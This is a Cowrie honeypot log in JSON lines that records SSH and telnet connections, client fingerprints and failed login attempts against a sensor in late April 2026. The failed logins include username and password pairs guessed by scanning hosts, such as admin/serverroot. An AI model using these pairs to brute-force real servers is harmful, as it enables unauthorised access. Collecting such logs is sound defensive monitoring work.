{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53750,"dst_ip":"159.203.135.109","dst_port":22,"session":"319274a1b274","protocol":"ssh","message":"New connection: 159.203.92.129:53750 (159.203.135.109:22) [session: 319274a1b274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:30.874451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:30.879135Z","src_ip":"159.203.92.129","session":"319274a1b274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:30.883356Z","src_ip":"159.203.92.129","session":"319274a1b274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rzx!@!*baizhao","message":"login attempt [admin/rzx!@!*baizhao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:30.901798Z","src_ip":"159.203.92.129","session":"319274a1b274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:12:31.907610Z","src_ip":"159.203.92.129","session":"319274a1b274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41680,"dst_ip":"159.203.135.109","dst_port":22,"session":"88dc3966ed90","protocol":"ssh","message":"New connection: 159.203.92.129:41680 (159.203.135.109:22) [session: 88dc3966ed90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:13.751197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:13.755992Z","src_ip":"159.203.92.129","session":"88dc3966ed90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:13.761037Z","src_ip":"159.203.92.129","session":"88dc3966ed90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server","message":"login attempt [admin/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:13.772913Z","src_ip":"159.203.92.129","session":"88dc3966ed90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:14.791825Z","src_ip":"159.203.92.129","session":"88dc3966ed90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.135.125","src_port":35130,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f247936789","protocol":"telnet","message":"New connection: 89.163.135.125:35130 (10.17.0.5:23) [session: 04f247936789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:18.247713Z"}
{"eventid":"cowrie.session.closed","duration":30.80118989944458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:49.048763Z","src_ip":"89.163.135.125","session":"04f247936789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55722,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a83a210c76a","protocol":"ssh","message":"New connection: 159.203.92.129:55722 (159.203.135.109:22) [session: 8a83a210c76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:58.592711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:58.596638Z","src_ip":"159.203.92.129","session":"8a83a210c76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:58.600439Z","src_ip":"159.203.92.129","session":"8a83a210c76a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"serverroot","message":"login attempt [admin/serverroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:58.610301Z","src_ip":"159.203.92.129","session":"8a83a210c76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:13:59.615364Z","src_ip":"159.203.92.129","session":"8a83a210c76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00195169448853,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:03.675580Z","src_ip":"177.185.36.113","session":"a65830123003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00106453895569,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:04.126402Z","src_ip":"177.185.36.113","session":"3a0cda265dad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.80.87","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"6424ad8be869","protocol":"telnet","message":"New connection: 51.79.80.87:49336 (10.17.0.5:23) [session: 6424ad8be869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:17.297908Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.57.73","src_port":60052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e63e8ad36d6","protocol":"telnet","message":"New connection: 209.145.57.73:60052 (10.17.0.5:23) [session: 0e63e8ad36d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:20.262571Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.80.87","src_port":45896,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a66de28598","protocol":"telnet","message":"New connection: 51.79.80.87:45896 (10.17.0.5:23) [session: c7a66de28598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:25.086720Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.38.75.196","src_port":58988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec27252ee29","protocol":"telnet","message":"New connection: 212.38.75.196:58988 (10.17.0.5:23) [session: 4ec27252ee29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:28.718755Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48758,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a1391e1552","protocol":"ssh","message":"New connection: 159.203.92.129:48758 (159.203.135.109:22) [session: 41a1391e1552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:42.715271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:42.719418Z","src_ip":"159.203.92.129","session":"41a1391e1552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:42.722651Z","src_ip":"159.203.92.129","session":"41a1391e1552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"serverroot123","message":"login attempt [admin/serverroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:42.732581Z","src_ip":"159.203.92.129","session":"41a1391e1552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:43.739313Z","src_ip":"159.203.92.129","session":"41a1391e1552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.976110696792603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:48.273879Z","src_ip":"51.79.80.87","session":"6424ad8be869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78875160217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:51.051194Z","src_ip":"209.145.57.73","session":"0e63e8ad36d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.57.73","src_port":41090,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc6f4be8fd23","protocol":"telnet","message":"New connection: 209.145.57.73:41090 (10.17.0.5:23) [session: fc6f4be8fd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:56.124438Z"}
{"eventid":"cowrie.session.closed","duration":31.608569383621216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:56.695162Z","src_ip":"51.79.80.87","session":"c7a66de28598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156882762908936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:14:59.875499Z","src_ip":"212.38.75.196","session":"4ec27252ee29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":52282,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf791166906f","protocol":"ssh","message":"New connection: 78.128.112.74:52282 (159.203.135.109:22) [session: bf791166906f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:11.885278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:12.113157Z","src_ip":"78.128.112.74","session":"bf791166906f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:12.117239Z","src_ip":"78.128.112.74","session":"bf791166906f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:14.358550Z","src_ip":"78.128.112.74","session":"bf791166906f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:15.486854Z","src_ip":"78.128.112.74","session":"bf791166906f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.930294275283813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:27.054618Z","src_ip":"209.145.57.73","session":"fc6f4be8fd23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51756,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f111db54833","protocol":"ssh","message":"New connection: 159.203.92.129:51756 (159.203.135.109:22) [session: 1f111db54833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:28.009902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:28.014841Z","src_ip":"159.203.92.129","session":"1f111db54833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:28.018441Z","src_ip":"159.203.92.129","session":"1f111db54833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sl0b0zl4t4v4!","message":"login attempt [admin/sl0b0zl4t4v4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:28.029999Z","src_ip":"159.203.92.129","session":"1f111db54833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:15:29.038852Z","src_ip":"159.203.92.129","session":"1f111db54833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43152,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bc0a4571258","protocol":"ssh","message":"New connection: 159.203.92.129:43152 (159.203.135.109:22) [session: 8bc0a4571258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:12.619374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:16:12.625143Z","src_ip":"159.203.92.129","session":"8bc0a4571258","protocol":"ssh"}
